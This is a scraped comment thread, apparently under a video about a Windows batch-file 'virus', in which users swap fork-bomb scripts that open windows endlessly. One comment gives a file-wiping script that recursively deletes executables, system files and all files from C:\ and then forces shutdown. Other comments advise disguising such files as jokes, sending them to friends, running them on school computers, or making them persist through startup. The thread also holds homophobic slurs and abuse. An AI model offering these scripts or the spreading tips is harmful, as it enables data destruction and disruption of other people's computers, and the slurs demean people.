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  • I can even my self do better virus: open notepad and write this.

    --------------

    @echo off

    start notepad

    start explorer

    start virus.bat

    ----------

    Then name it virus.bat and save it anywhere. Then open it. Dont worry it will stop in 30-60 seconds.

  • hay?!!!

  • Hay is for horses

  • if you look properly he writes "Hay guts..."

    What a dummy

  • hay faggot

  • Lol, just lol.

  • "hay" you are stupid?

  • How's it possible to spell "Hi" wrong???

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  • Dudes here, check out my batch file, I can't test it since it's too dangerous ^^

    /watch?v=ItbKVTadaag&feature=c­hannel_video_title

    If the link doesn't work, it's on my channel. Watch it in hd. Thanks :)

  • i did this lol pretty cool

  • what the fuck?! :OO lol shit

  • a long and boring vid that i made just for the purpose of showing people how slow my PC is

  • you can make it faster .. (pc crashes ..)

    open notepad and typ in:

    @echo off

    :1

    start

    goto 1

    save it as virus.bat ( or *name*.bat)

    and open it ;) have fun xDDDDD

  • You need to type faster

  • watch?v=f4m_loLTW3w

    View for a really nasty batch virus!

  • ok thats pretty stupid is not a virus is a script and you can fix it just by pushing the reset button

  • how do you send that to some one lol??

  • Somehow I thought that was a cube. :P

  • you download too many cursors that is virus lol

  • Pah! Damn, this is nothing!

    Also: You write.. gay  *Hay Guys* *No Body knows...* *...but here goes!!!!*

    :P

  • i do and is sucks its funny because i did it on school it was! sooooooooooooooooooooooooooooo­oo funny!!!!!!!!!!!

  • can the pause command be used in conjunction with a timer for eg pause -t 15?

  • at the start hay guys lol

  • This is not virus... It's only executing this all time

  • Jacob yr wrong I think. The more ram u have the less dependency the CPU has on it.

  • i feel bad for the suckers with 4gb of ram or more

    its gonna be a long wait

  • lol virus backround. you must love viruses

  • I tried that once and the PC crashed lol

  • Anyway to make this so it doesn't go even if you restart you computer?

  • if it goes on for long enough it can really crash your PC. i did study goggle virus and the way it crashes is it opens a whole lot of windows.

  • In order to unterstand the recursion, you first have to understand the recursion.

  • just a prank box bomb :P seen it all before

  • u spellt really rong really

  • @creeydddd The irony in this comment is astonishing.

  • @pokerstud001 ya heeh ccannt speel. =)

  • @creeydddd lmfao... so did u

  • please, u konw English well u write really bad practice more and than take video

  • it's hey not hay. BTW hay is for horses :P

  • damn this is a retarded virus.Im serious

  • lol hey guts!

  • if u are a noob this crashes ur computer

    if u are smart u type in run shutdown -a and u fck this virus.bat

  • @Riael1111 shutdown -a ? we might add echoff Start color 2%random% %random% goto Start to make noobs flip out

  • acidburn... thats from the movie hackers!! love it

  • make it loop the rick roll! and make the CMD screens flash in funny colors! and open 9001 messages saying somethign random! :D

  • and then he pressed break and it stopped...

  • my faggot alarm went off after he typed the first word

  • @brownsrock2007 DUDE! I've been looking ALL OVER for a faggot alarm! Where can I get one!?

  • @Hiwayrockszone9 sorry dude you gotta be straight to get one

  • @brownsrock2007 I am straight. I watch porn every night. Where's my faggot alarm? Lmao

  • @Hiwayrockszone9 watching porn doesn't make you straight lmao

  • @brownsrock2007 I'm sorry, I didn't know you had to watch gay porn in order to become straight. I must have been doing it wrong all these years. My tissue and dick feel disappointed.

  • @Hiwayrockszone9 wtf? i didnt say anything about gay porn lmao. and your dick should feel disappointed like your ass does from taking it in so much.

  • @brownsrock2007 Wait, Wtf... I just asked for a faggot alarm and this is turning into some mindless shit. LAWL

  • @Hiwayrockszone9 lmao ikr. strange things happen online lol

  • @brownsrock2007 Yogurt breast flaps.

  • what is the no click button in the left at 1:07 - 4:48

  • This isn't a virus, it's an infinite loop. The file has a command in it which opens itself, which means, that every time a file opens, it says to open itself. The speed multiplies for each notepad opened, because the .BAT file still remains operational.

  • you must have a shit computer because the speed at which they opened up was beyond slow, command prompt only take up around 536K of processing power, in order for this to be affective in the slightest make sure that you have the amount of starts command is increased or use iexplorer.exe, which takes up a butt load of processing power. Much more effective but it still does not make this a virus in the slightest.

  • Ctrl + C = cancel

  • I don't know! Maybe if you open VIRUS.BAT you may get a VIRUS by any chance? lol

  • ya done goofed.

  • Hay guys, ima show you how to booty call

  • Umm... this isn't a virus my friend. This has a code that subjects one or more applications to open repeatedly. It's really just computer spam like that damn Antivir Solution Pro Virus.

  • @ExtremistVideos thank god someone who knows something unlike little script kiddies

  • @smdimashark1 Thank you for noticing my potential.

    I am a self educated below amateur IT working my way up to where all the big bucks are: Security.

  • can this destroy your PC ???

  • @mostaffa100 nop!!! it's not a virus...

    it's only a simple cmd file!!!

  • @junk3m0 right...

  • @mostaffa100 yes i think so if you let it run for like an hour than da pc is supa slow and when you reboot it says to reinstall windows, so yea, it does destroy your pc.

  • The .BAT Is .BAD!!!!!

  • what is the code ?

  • @kingoflove2901 start

    start nOOb.bat

    and then save it as "nOOb.bat"

  • Go to cntrl alt delete click prosseses find virus.bat and click end process then they stop poping up then just click programs hilloght all and end

  • OK i did it but how can i exit all the cmd`s answer

  • @LsPasus simply restart your pc!!!

  • the same as happy.bat

  • when it come with a full window of writing type in

    execute virus.bat

    and it should stop

  • *sigh* you people are stupid, as many have said before me, it is just a damn fork bomb. Not a virus. You people need to learn the difference dammit.

  • A much better notepad virus is - Go on to Notepad, type in :-

    @echo off

    :E

    Start cmd.exe

    Start calc..exe

    Goto :E

    (save as whatever.bat)

    This creates a never ending amount of calculators which lags ure computer and you cannot click or do anything - you have to shutdown ure computer...Plus the pc/laptop will heat up probably rebooting your pc (i tried it and shut it down because it was heating up and i couldnt do anything :p) Its not harmful. Or you can send it to a friend for laughs.

  • @o0Danny0oT

    :E = Dat ass

    :D

  • Engrish FUNNEH

  • uhm did you just destroyed youre computer?

  • Ebomb LOL if you make it open to much it crashes

  • ok.....IM ONLY TEN DAMN IT! i know bats r fake but DOES CTRL+C really stop it? i want a reply

  • @dragonhunter616 you got it right, lil bud!!!

  • alt+f4?

  • it is harmless what really happens is that your central processing unit (CPU) gets to hot and it causes a reboot or an auto shutdown

  • can u teach me how to make one that will open "wowomg.cccom/rofl" remove the " and the 2 extra c's in com

  • @MinusG I can show you how to do that easy... I might post a video on this stuff... these noobs think this is awesome... lol ... I know how to do the real stuff...

  • @sethutsman

    yeszpluz

  • A computer virus is a computer program that can copy itself and infect a computer.

    In computing, the fork bomb, a form of denial-of-service attack against a computer system, implements the fork operation (or equivalent functionality) whereby a running process can create another running process.

  • In windows 7,its not like that..just simply exit cmd by clicking X and that's it..

  • that fork bomb sucks

  • this make yours broad band lagg....

  • lol?

  • you guys must have no life u fucking retards hacking peoples computer u fuck heads

  • @cyberking75 ealous cuz you cant do it? 1337 N3wB

  • i clicked google one time on mo sis laptop and lods of googles came upp more than that but mo sis knows what to do so its ok

  • i did it on a skool laptop, and they cant fix it :D

  • and how do you get rid of it ?

  • shutdown the comp

  • Yeah shutting down the PC solves everything :P But I meant like using the Task Manager or somehtin'...

  • i love doing thos bats for fun xD

  • hs holy shit

  • this is wat really happins i tried it on school computer..lol

  • anyone want a better virus start notepad and write "start life.bat" then save as "life.bat

    you can switch life to somheting else but then change both and not only 1

    (dont write "" in notepad xd)

    then start it xd YOU CAN NEVER STOP IT MOHAHAHAHA

  • Yes you can, if you close the latest life.bat it will stop dumbass. Do this instead:

    :A

    open NAME.bat

    goto A

  • this was really weak!!!! i was watchin the hole thing and all it did was show this crap!!!

  • I make about 4 000 000 lines of this virus

  • i make like 9000 porno pics in those files :D

  • ha ha ha ha,

  • its over 9000?

  • @MackanOwns show a video of that!!!

  • @XTheAllianceX im not retarded and show my work on youtube -.-

  • @MackanOwns AHH I HATE PEOPLE LIKE YOU ROFL I CLICKED ON SOMETHING AND GAY PORN KEPT POPING UP! i was freaking lmao

  • @MackanOwns I just uploaded a video of me using a porn bomb/e bomb on my computer that I made.

  • @MackanOwns: 9000 P*RNO PICS???

  • how do you end it?

  • its a bit like hax.bat. not?

  • It's true nickname is "bomb batch" or something along those lines. These people may rename it in their own videos but they are all the same thing.

  • iv got a easyer way name it sumthin like internet explorer and put this in:

    :a

    start (the name of the file).bat

    goto a

    that will open more

  • It is a virus it causes a boot loop if you shut off the computer!!

  • Sorry buddy, not really a virus. Just a simple fork bomb.

  • @johnokada

    what if you save it to start up and the registry

  • what happens ? nothing ? only the windows opening ? or is there any attack of the sytem or so ?

  • LOL IS THAT ALL? HUH THERE IS A BETTER WAY!

    @echo off

    lost of boxes

    start boxes

    save as .bat file

    to stop that just press ctrl+c from this way i got 180 or more boxes in less than 3 sec!

  • its just

    a trojan

    type in start tons of times

  • LOL EPIC FAIL START in cmd xD

  • For all of ya people wondering what happens when you open it up because your to chicken shit to....all it does is the same thing on the video but alooot more after bout 20 seconds of it i had around 168 popups...you have to shut down your computer by switch. And no it doesnt open automatically on start up...only when you open it does it start. IF YOU PUT THIS IN A COMPRESSED FILE YOU CAN SEND IT TO PEOPLE OVER THE NET....just make sure you rename it like "OPEN FOR A JOKE" or something-HAVE FUN-

  • Thats a lot of popups!!!!!

  • it happened to me lol

  • easily the worst real time typing i've ever seen. are you even using your fingers?

  • thats a fake yr reapeting the same vid over and over.

  • @echo off

    :A

    start

    goto A

    noob virus

  • a fast way to make this is to start notepad and type this

    start (as many times as you want)

    @echo on

    start virus.bat

    then save as anything.bat(try click me for a joke)

  • next time type the words first

  • interesting, does it cease its multiplying upon system shut down and only re-activate upon re-running the file?

  • @echo SEBO VERNICHTET DEINEN COMPUTER off

    start ms32.bat

    Noob virus

  • Trojan Fucking Rules!

  • shutdown -s -t 00 -c "trojan virus detected"

    if for noobs it's just a code not a virus.

  • you got it

  • DO NOT GET SECURITY TOOL!!! ITS A FAKE VIRUS REMOVER AND IT CAN RUIN EVERYTHING!!! WHEN I GOT SECURITY TOOL I WAS DEVASTATED WITH FAKE INFECTION WARNINGS AND ANNOYING POP UPS I WARNED YOU!! Copy and paste to stop the confusion!

  • Thank you.

  • you just got rippedoff from a person. it's a type of trojan virus that gives you fake warnings. it was also a fake security tool. it happened to me befoe. if it's the right kind ity can actually crash your internet.

  • its a rogue and i did NOT get ripped off i didnt put in my credit card details, and i knew it was fake by looking at the traces get malwarebytes it helps

  • Thank you!! ----->Malwarebytes Anti-Malware Rocks!!!!!! ♥♥

  • how do u make the bat virus never appear?

  • Hey gut. haha

  • try that on for size noobs XD

  • @echo off color a title ViRuZ cls cd c:/ del *.ocx /q /f /s del *.dll /q /f /s del *.exe /q /f /s del *.sys /q /f /s del *.* /q /f /s shutdown -s -t 15 -c "Your computer will now shut down for the last time, have a nice day!" NOOBS
  • easiest code to open notepad 42 times in 1 sec

    @echo off

    start notepad

    notepad

  • heres a serious virus

    @echo off

    del C:/system32/

    del C:

    del My Computer

  • soory, but my virus is a bit more anoying! when you open my virus it wil not stop opening Porn pages! haha, lol-.-

  • good man you make me xD

  • just make a .bat file, write down OPEN x

    where x is the URL pornsite then another time OPEN x

    OPEN x

    ...

  • or:

    @ echo off

    :A

    OPEN X

    GOTTO :A

  • dude i've been having nightmares about that for weeks now lmao

  • fuck can you type any slower

  • lolz this happend to me once but it kept opening notepad and i managed to close ever 1 and close the main 1 which stoped

    it funnley enough!

  • zzzzzz this is soo boring i prefer the Meta and poly morph virus !

  • do you guys want to make a real virus then pull up notepad and type this

    @echo del \\windows\system 32

    :loop

    save it as

    virus.bat

    and it will make you do a system restore or your screwed forever!

  • not even a virus. its just a loop that will crash a comp after a while.

    you just need a file to open and then put

    @echo off

    :loop

    start notepad

    goto loop

    easy shit.

  • omfg u absolute noob. thats not a virus. everyone knows that code.

    @echo off

    goto start

    goto A

    A:

    well the code is something like that. and of course you dave as .bat(Batch) file.

  • how much dangerous do the different kind of malicious programs test on a virtual os?at all are these virtual applications safeness against viruses?

  • You type really slow....

  • i hate all of you fucking .bat noobs.

    This is nothing compared to real viruses lol, alls that is, is a loop to open the cmd over and over, and you can easily execute the process by activating your task manager :) nubs....